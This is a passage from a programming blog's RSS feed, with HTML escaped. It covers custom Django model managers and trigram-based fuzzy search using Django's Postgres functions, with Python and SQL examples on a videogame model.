style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_query_set&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;(SquarenixManager, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_query_set()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(company&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;squarenix&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;# we set it to videogame model explicitly&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      objects &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Manager() &lt;span style=&#34;color:#78787e&#34;&gt;# Set default manager&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      squarenix_videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SquarenixManager() &lt;span style=&#34;color:#78787e&#34;&gt;# Our custom manager&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note how we now have two managers. A Model can define several managers, &lt;strong&gt;the first manager that appears is the default manager&lt;/strong&gt; (in the example above it is &lt;em&gt;objects&lt;/em&gt;), which will be used by Django internally for other special features.&lt;/p&gt;&#xA;&lt;p&gt;When running the manager it will return only the books that have Squarenix as company and, in addition, you can use all QuerySet methods on it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# Return all videogames, no filtering&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;squarenix_videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all() &lt;span style=&#34;color:#78787e&#34;&gt;# Only return squarenix videogames&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;squarenix_videogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Kingdom Hearts&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#Return only squareenix videogames whose name contains Kingdom Hearts&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that&amp;rsquo;s all. Now that you know that you can create as many managers as you want that will give you as many filtered searches as you need.&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about managers, please check &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/db/managers/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official Django documentation&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A Manager (or handler) is the interface through which query operations or queries from the database are provided to Django models. Yes, I mean that &lt;em&gt;objects&lt;/em&gt; that goes after the name of your model; &lt;em&gt;YourModel.objects.all()&lt;/em&gt; and &lt;em&gt;Tumodel.objects.filter()&lt;/em&gt;. All Django models have at least one manager. Whenever you use the object manager (I will refer to it as manager from here on) in a database query using the Django ORM you are making use of its default &lt;em&gt;object manager&lt;/em&gt;. These managers in Django can be customized to modify the objects returned by a query and we can customize them to our liking.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Trigrams and advanced searches with Django and Postgres</title>
      <link>https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/</link>
      <pubDate>Mon, 17 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;What if a user&amp;rsquo;s finger slips on the keyboard and types &amp;ldquo;parfume&amp;rdquo; instead of &amp;ldquo;perfume&amp;rdquo;. We probably don&amp;rsquo;t want our user to leave the site because he didn&amp;rsquo;t find any &amp;ldquo;parfume&amp;rdquo; on our website. Our website should return the results that most closely match what they are looking for. See how an experienced ecommerce handles it:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Search for the word &amp;#34;parfume&amp;#34; on amazon&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Don&amp;rsquo;t you remember the basic searches in Django? I have a post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/&#34;&gt;basic searches and full text search using Django and Postgres&lt;/a&gt;&#xA;, if you haven&amp;rsquo;t read it take a look there first.&lt;/p&gt;&#xA;&lt;h2 id=&#34;trigrams-in-django-and-postgres&#34;&gt;Trigrams in Django and Postgres&lt;/h2&gt;&#xA;&lt;p&gt;But how does our application know that when a user types &amp;ldquo;parfume&amp;rdquo; they probably mean &amp;ldquo;perfume&amp;rdquo;?&lt;/p&gt;&#xA;&lt;p&gt;The reason why parfume resembles perfume is because both contain similar trigrams.&lt;/p&gt;&#xA;&lt;p&gt;Trigram? Yes, trigram, of three and gram. **A trigram is three consecutive characters, it&amp;rsquo;s as simple as that.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams_tqmzs7.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams_tqmzs7.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Automata trigrams schematic&#34; width=&#34;600&#34; height=&#34;425&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Trigrams are three consecutive characters&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;trigrams-and-similar-words&#34;&gt;Trigrams and similar words&lt;/h2&gt;&#xA;&lt;p&gt;According to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.postgresql.org/docs/12/pgtrgm.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Postgres&lt;/a&gt;&#xA;, &lt;strong&gt;we can tell how similar two strings are by comparing the number of trigrams they share,&lt;/strong&gt; and Django provides functions to work with trigrams.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__trigram_similar&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;automatta&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# it should say automata&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__trigram_similar&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;autommattaa&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# it should say automata&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...FROM &amp;#34;videogame_videogame&amp;#34; WHERE UNACCENT(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;) % UNACCENT(autommata)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;View the trigrams for the word &amp;ldquo;automata&amp;rdquo; directly from the postgres terminal&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; show_trgm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;automata&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  show_trgm                  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;---------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;  a&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; au&amp;#34;&lt;/span&gt;,ata,aut,mat,oma,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;ta &amp;#34;&lt;/span&gt;,tom,uto&lt;span style=&#34;color:#ff5c57&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now look at the trigrams for &amp;ldquo;automatta&amp;rdquo; (if you didn&amp;rsquo;t notice, this one has a double &amp;ldquo;t&amp;rdquo;).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; show_trgm(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;autommattaa&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        show_trgm                        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;---------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;  a&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34; au&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;aa &amp;#34;&lt;/span&gt;,att,aut,mat,mma,omm,taa,tom,tta,uto&lt;span style=&#34;color:#ff5c57&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Can you notice how they both share some trigrams (a, au, aut, mat, tom, uto)?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams-intersection_cnapb1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750289287/coffee-bytes/trigrams-intersection_cnapb1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Shared trigrams between two text strings&#34; width=&#34;1200&#34; height=&#34;564&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Also note that the quotation marks around certain trigrams are to specify trigrams with spaces.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The number of trigrams shared by a pair of text strings can be expressed by means of an index&lt;/strong&gt;. The more trigrams shared, the higher this index will be.&lt;/p&gt;&#xA;&lt;p&gt;We can find the similarity index, according to their trigrams, between two words from the postgres terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; word_similarity(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;outer worlds&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wilds&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; word_similarity &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-----------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;          &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;1875&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sort-by-similarity-with-trigrams&#34;&gt;Sort by similarity with trigrams&lt;/h3&gt;&#xA;&lt;p&gt;What if we want our Django search to find even those words that match in a smaller number of trigrams?&lt;/p&gt;&#xA;&lt;p&gt;Using the Django ORM &lt;strong&gt;with the &lt;em&gt;TrigramSimilarity&lt;/em&gt; function we can filter those results by setting a similarity threshold&lt;/strong&gt; between a search word and our data.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t remember what Django annotate is for, I have a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/&#34;&gt;django annotate and aggregate, as well as their differences&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TrigramSimilarity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(similarity&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;TrigramSimilarity(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wilds&amp;#39;&lt;/span&gt;), )&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(similarity__gt&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.1&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-similarity&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Outer wilds&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Outer worlds&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# With a similarity index of 0.1, the words wilds y worlds match&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;results[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;similarity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# 0.5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...SIMILARITY(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, wilds) AS &amp;#34;similarity&amp;#34; FROM &amp;#34;videogame_videogame&amp;#34; WHERE SIMILARITY(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, wilds) &amp;gt; 0.1 ORDER BY &amp;#34;similarity&amp;#34; DESC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;search-rank-to-sort-by-relevance&#34;&gt;Search rank to sort by relevance&lt;/h2&gt;&#xA;&lt;p&gt;If a user searches for a laptop and your application first shows them laptop cases, laptop backpacks, other related items and then laptops, you are providing an inadequate user experience.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; 